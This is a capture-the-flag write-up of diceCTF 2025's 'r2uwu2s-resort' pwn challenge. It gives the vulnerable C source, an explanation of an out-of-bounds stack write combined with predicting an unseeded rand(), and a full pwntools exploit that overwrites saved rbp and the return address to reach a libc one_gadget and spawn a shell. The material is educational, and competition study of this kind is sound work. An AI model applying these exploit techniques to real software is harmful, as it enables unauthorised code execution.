pwn-notes
  • Introduction
  • pwn
    • ROP 2.34+
      • The problem
      • ret2gets
      • Controlling rbp
      • Controlling rax
      • dlrop
      • Other gadgets
    • setcontext
    • fork_gadget
  • CTF writeups
    • HTB Business 2024
      • No Gadgets
    • corCTF 2024
      • format-string
      • corchat v3
  • diceCTF 2025
    • r2uwu2s-resort
    • locked room
Powered by GitBook
On this page
  • Reversing
  • Checksec
  • PIE Leak
  • (B)OOB: (Bunny) Out of Bounds
  • Exploitation
  • Predicting rand
  • Immortality?
  • The plan
  • Implementation
  • Exploit

Was this helpful?

  1. diceCTF 2025

r2uwu2s-resort

PreviousdiceCTF 2025Nextlocked room

Last updated 1 month ago

Was this helpful?

r2uwu2s-resort was the easy pwn challenge from this year's diceCTF. While I didn't look much at this challenge during the CTF (as it was released later on, and I was focused on ), I did look at it after the CTF and locked_room, and solved it, so here's my writeup for it.

Reversing

Checksec

It wouldn't be a diceCTF challenge if it were missing any proections (except FORTIFY, but who actually cares about that). We're also given source code:

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <time.h>
#include <unistd.h>

#define ANSI_RESET "\x1b[0m"
#define ANSI_COLOR(x) "\x1b[0;" x "m"
#define ANSI_RED ANSI_COLOR("31")
#define ANSI_GREEN ANSI_COLOR("32")
#define ANSI_YELLOW ANSI_COLOR("33")
#define ANSI_BLUE ANSI_COLOR("34")
#define ANSI_MAGENTA ANSI_COLOR("35")
#define ANSI_CYAN ANSI_COLOR("36")
#define ANSI_WHITE ANSI_COLOR("37")
#define ANSI_BRIGHT_RED ANSI_COLOR("91")
#define ANSI_BRIGHT_GREEN ANSI_COLOR("92")
#define ANSI_BRIGHT_YELLOW ANSI_COLOR("93")
#define ANSI_BRIGHT_BLUE ANSI_COLOR("94")
#define ANSI_BRIGHT_MAGENTA ANSI_COLOR("95")
#define ANSI_BRIGHT_CYAN ANSI_COLOR("96")
#define ANSI_BRIGHT_WHITE ANSI_COLOR("97")
#define ANSI_ERASE "\x1b[2J"

#define sleep_ms(x) usleep(x * 1000)

typedef struct {
  int8_t hp;
} dustbunny;

void print_bunny(dustbunny* bunny, char paw) {
  if (bunny->hp > 50) {
    printf("%1$c{ ^^ }%1$c", paw);
  } else if (bunny->hp > 0) {
    printf("%1$c{ oo }%1$c", paw);
  } else {
    printf("%1$c{ xx }%1$c", paw);
  }
}

void print_ui(char* msg, dustbunny bunnies[static 3], uint8_t hp, uint8_t mp) {
  printf(
    ANSI_BRIGHT_RED \
    "                                        \n" \
    "  +==================================+  \n" \
    "  |                                  |  \n" \
    "  | "
  );
  printf("%-32s", msg);
  printf(
    " |  \n" \
    "  |                                  |  \n" \
    "  |     "
  );
  print_bunny(&bunnies[0], '*');
  print_bunny(&bunnies[1], '\'');
  print_bunny(&bunnies[2], '.');
  printf(
    "     |  \n" \
    "  |                                  |  \n" \
    "  +==================================+  \n" \
    "  |                                  |  \n" \
    "  | r2uwu2 @ "
  );
  printf("%-23p", &print_ui);
  printf(
    " |  \n" \
    "  | ------ HP ["
  );
  for (uint8_t i = 0; i < 20; i++) {
    printf(i < hp / 5 ? "#" : " ");
  }
  printf(
    "] |  \n" \
    "  |        MP ["
  );
  for (uint8_t i = 0; i < 20; i++) {
    printf(i < mp / 5 ? "*" : " ");
  }
  printf(
    "] |  \n" \
    "  |                                  |  \n" \
    "  +==================================+  \n" \
    "                                        \n" \
    ANSI_RESET
  );
}

char* items[] = {
  "random bs",
  "spooky rizz",
  "dr chatterjee",
  "DOM CLOBBERING",
};

int main() {
  dustbunny bunnies[3] = {
    {
      .hp = 96,
    },
    {
      .hp = 99,
    },
    {
      .hp = 97,
    }
  };
  uint8_t hp = 100;
  uint8_t mp = 100;

  char msg[33] = "3 Dust Bunnies block your path! ";
  while (true) {
    print_ui(msg, bunnies, hp, mp);

    int item = rand() % 4;
    int choice;
    printf("Attack with [%s] against which bunny? (1-3) > ", items[item]);
    fflush(stdout);
    if (scanf("%d%*[^\n]", &choice) == 0) {
      puts("bad input >:(");
      fflush(stdout);
      return 1;
    }

    uint8_t dmg;
    if (item == 3) {
      bunnies[choice - 1].hp = 0;
    } else {
      dmg = rand() % 255;
      bunnies[choice - 1].hp -= dmg;
    }

    hp -= 1;
    if (bunnies[choice - 1].hp <= 0) {
      sprintf(msg, "Bunny %d has fallen!", choice);
    } else {
      sprintf(msg, "Bunny %d took %d damage!", choice, dmg);
    }

    if (bunnies[0].hp <= 0 && bunnies[1].hp <= 0 && bunnies[2].hp <= 0) {
      puts("r2uwu2 wins!");
      fflush(stdout);
      return 0;
    } else if (hp < 0) {
      puts("the resort wins...");
      fflush(stdout);
      return 1;
    }
  }
}
typedef struct {
  int8_t hp;
} dustbunny;

So basically just a int8_t (i.e. a one byte value).

The program ends when either all the bunnies die, or we do.

PIE Leak

printf("%-23p", &print_ui);

Even though we have PIE enabled, the challenge decides to give us a PIE leak for free anyways, how nice of them! why they simply didn't just disable PIE is beyond me.

(B)OOB: (Bunny) Out of Bounds

The bug here is fairly obvious: no bounds check on which bunny we decide to attack. This means we can subtract "random" values from arbitrary int8_ts on the stack, however since we can't control the output of rand(), how do we control this OOB?

Exploitation

Predicting rand

If we can't control the values we subtract, then the next best thing is to be able to predict them, so when a useful value comes along, we can use it for a specific write to some index. Thankfully, rand isn't as random as you may expect. rand is a pseudo-random generator, which means the numbers aren't truly random, and just appear to be so. These tend to work by applying mathematical operations to a current state to yield a new one, so they're deterministic, and they need a starting seed value to determine an initial state. Importantly, this means if we know the initial seed, we can predict all the generated numbers.

rand uses srand to seed it, and a common pattern is doing srand(time(NULL)) at the start of programs, which seeds based on the current time, however there is no call to srand at all in the program!

By default, rand is seeded with 0, so we can generate all the attacks:

import ctypes
dll = ctypes.CDLL("libc.so.6")
#dll.srand(0)    # if you want to be safe

def attack_gen():
    while True:
        item = dll.rand() % 4
        dmg = None
        if item != 3:
            dmg = -(dll.rand() % 255)
        yield (item, dmg)

Immortality?

Another limitation to get around is our hp. hp starts at 100, and goes down by 1 every turn, so we'd only have roughly 100 writes. Since we don't have controlled writes, many of those 100 won't be useful to us, at least not easily, plus the address randomization potentially decreasing reliability of finding the necessary writes.

So what if we used our OOB to hit hp?

Unfortunately no good, because hp is stored in the register r12!

However, it turns out we actually don't need to worry about this at all! If we take a closer look at how hp is defined, we see that it's actually unsigned: uint8_t hp = 100;. And since the check is for hp < 0, NOT hp <= 0 like with the bunnies, this will NEVER pass.

In fact, the compiler recognises this, and just removes this check entirely:

The plan

Since we have only a PIE leak (no libc), we can only write PIE addresses, so our attack options are limited. Ideally we'd want to attack the return address, which already has a libc address: __libc_start_call_main+128.

While we don't have a libc leak, we do have a subtract primitive as opposed to just a write one, so we can use this to our advantage!

We don't need to know all the bits of the address, we just need to know the offset from the address to where we'd want to jump, most likely a one_gadget, then we can subtract from each byte to effectively subtract that offset!

This isn't perfect, as this won't account for possible carrying that may be needed, depending on the libc base, but it will work well enough in practice.

So, what one_gadgets do we have?

And this is the state of the registers on returning from main:

The biggest thing to note is that none of these gadgets will work, because rbp-0xXX needs to be writable, and rbp=1. So if we're going to use a one_gadget, we will need to change rbp to some writable address, like a PIE one. We can do this by writing to the stack, as rbp is saved at the start of main, and restored at the end along with r12-r15 and rbx.

However with many of these gadgets, we'll need to fix other constraints too, except for 2 of them:

While r10 == NULL happens by chance (probably from some system call), we can see that rax == NULL comes from the return 0;. So all these gadgets need is a valid, writable rbp, which we can use PIE+0x4100 for.

So the plan is:

  1. Overwrite saved rbp to point to PIE+0x4100.

  2. Overwrite return address to point to a one_gadget.

  3. Kill the 3 bunnies to return, and trigger the one_gadget.

Implementation

Now let's implement the attack:

attacks = attack_gen()

def do_subs(subs):
    payload = ""
    while subs:
        item, dmg = next(attacks)
        if item == 3:
            payload += "0\n"
            continue
        for i in range(len(subs)):
            sub, off = subs[i]
            if sub == abs(dmg):
                payload += str(off+1) + "\n"
                subs.pop(i)
                break
        else:
            payload += "0\n"
    return payload

def gen_subs(after, before, off):
    assert len(before) == len(after)
    subs = []
    for i, (a, b) in enumerate(zip(after, before)):
        if a == b:
            continue
        subs.append(((b-a) % 256, off+i))
    return subs

def kill_bunnies():
    payload = ""
    i = 0
    while i < 3:
        item, dmg = next(attacks)
        if item == 3 or dmg >= [96, 99, 97][i]:
            payload += str(i+1)+"\n"
            i += 1
        else:
            payload += "0\n"
    return payload

one_gadget = p64(0xebd43)[:3]
ret = p64(libc.sym.__libc_start_call_main+128)[:3]

subs = []
subs += gen_subs(one_gadget, ret, 0x6c)
subs += gen_subs(p64(e.address + 0x4101), p64(1), 0x64)

payload = do_subs(subs) + kill_bunnies()
p.send(payload.encode())
p.recvuntil(b"r2uwu2 wins!")
p.interactive()

Since our write primitive is a subtraction, we either need to know the current value of what we're overwriting, or set it to 0 first using DOM CLOBBERING (which we don't need to use as we know the values).

So what gen_subs does is generate a list of what values should be subtracted from each index, and we generate this for the one_gadget and saved rbp writes.

Then do_subs will generate the payload to do these, in no particular order, as these writes don't have an effect until we return. If we have an attack that's useless to us, we send it to an irrelevant index, like -1.

Exploit

#!/usr/bin/python3
from pwn import *
from sys import argv
import ctypes

e = context.binary = ELF('./resort_patched')
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
if args.REMOTE:
    ip, port = "dicec.tf", 32030
    conn = lambda: remote(ip, port)
else:
    conn = lambda: e.process()

dll = ctypes.CDLL("libc.so.6")

p = conn()

p.recvuntil(b"r2uwu2 @ ")
print_ui = int(p.recvuntil(b" "), 16)
log.info(f"print_ui: {hex(print_ui)}")

e.address = print_ui - e.sym.print_ui
log.info(f"PIE: {hex(e.address)}")

def attack_gen():
    while True:
        item = dll.rand() % 4
        dmg = None
        if item != 3:
            dmg = -(dll.rand() % 255)
        yield (item, dmg)

attacks = attack_gen()

def do_subs(subs):
    payload = ""
    while subs:
        item, dmg = next(attacks)
        if item == 3:
            payload += "0\n"
            continue
        for i in range(len(subs)):
            sub, off = subs[i]
            if sub == abs(dmg):
                payload += str(off+1) + "\n"
                subs.pop(i)
                break
        else:
            payload += "0\n"
    return payload

def gen_subs(after, before, off):
    assert len(before) == len(after)
    subs = []
    for i, (a, b) in enumerate(zip(after, before)):
        if a == b:
            continue
        subs.append(((b-a) % 256, off+i))
    return subs

def kill_bunnies():
    payload = ""
    i = 0
    while i < 3:
        item, dmg = next(attacks)
        if item == 3 or dmg >= [96, 99, 97][i]:
            payload += str(i+1)+"\n"
            i += 1
        else:
            payload += "0\n"
    return payload

"""
0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
"""

one_gadget = p64(0xebd43)[:3]
ret = p64(libc.sym.__libc_start_call_main+128)[:3]

subs = []
subs += gen_subs(one_gadget, ret, 0x6c)
subs += gen_subs(p64(e.address + 0x4101), p64(1), 0x64)

payload = do_subs(subs) + kill_bunnies()

print(len(payload))
p.send(payload.encode())
p.recvuntil(b"r2uwu2 wins!")
p.interactive()

dice{clearing_the_dust_with_the_power_of_segmentation_fault_core_dumped_ae1f9557}

The program seems to be a kind of turn based singler player game, where we have to defeat 3 bunnies (it's mean , but anything for a flag) by selecting one each turn, then we do a "random" (more on this later) amount of damage to it, or have a ¼ chance to kill it insantly (i.e reduce its .hp to 0). Each bunny is of type dustbunny, which is just:

Finally we need to return, so then we kill the 3 bunnies (RIP ) by bringing their hp to 0 or lower.

😢
😢
locked_room
Full protections on resort
hp = 100
hp -= 1
No "the resort wins" string
one_gadget libc.so.6
return from main
Restore saved registers
r10 == NULL
rax == NULL
PIE+0x4100
Getting the flag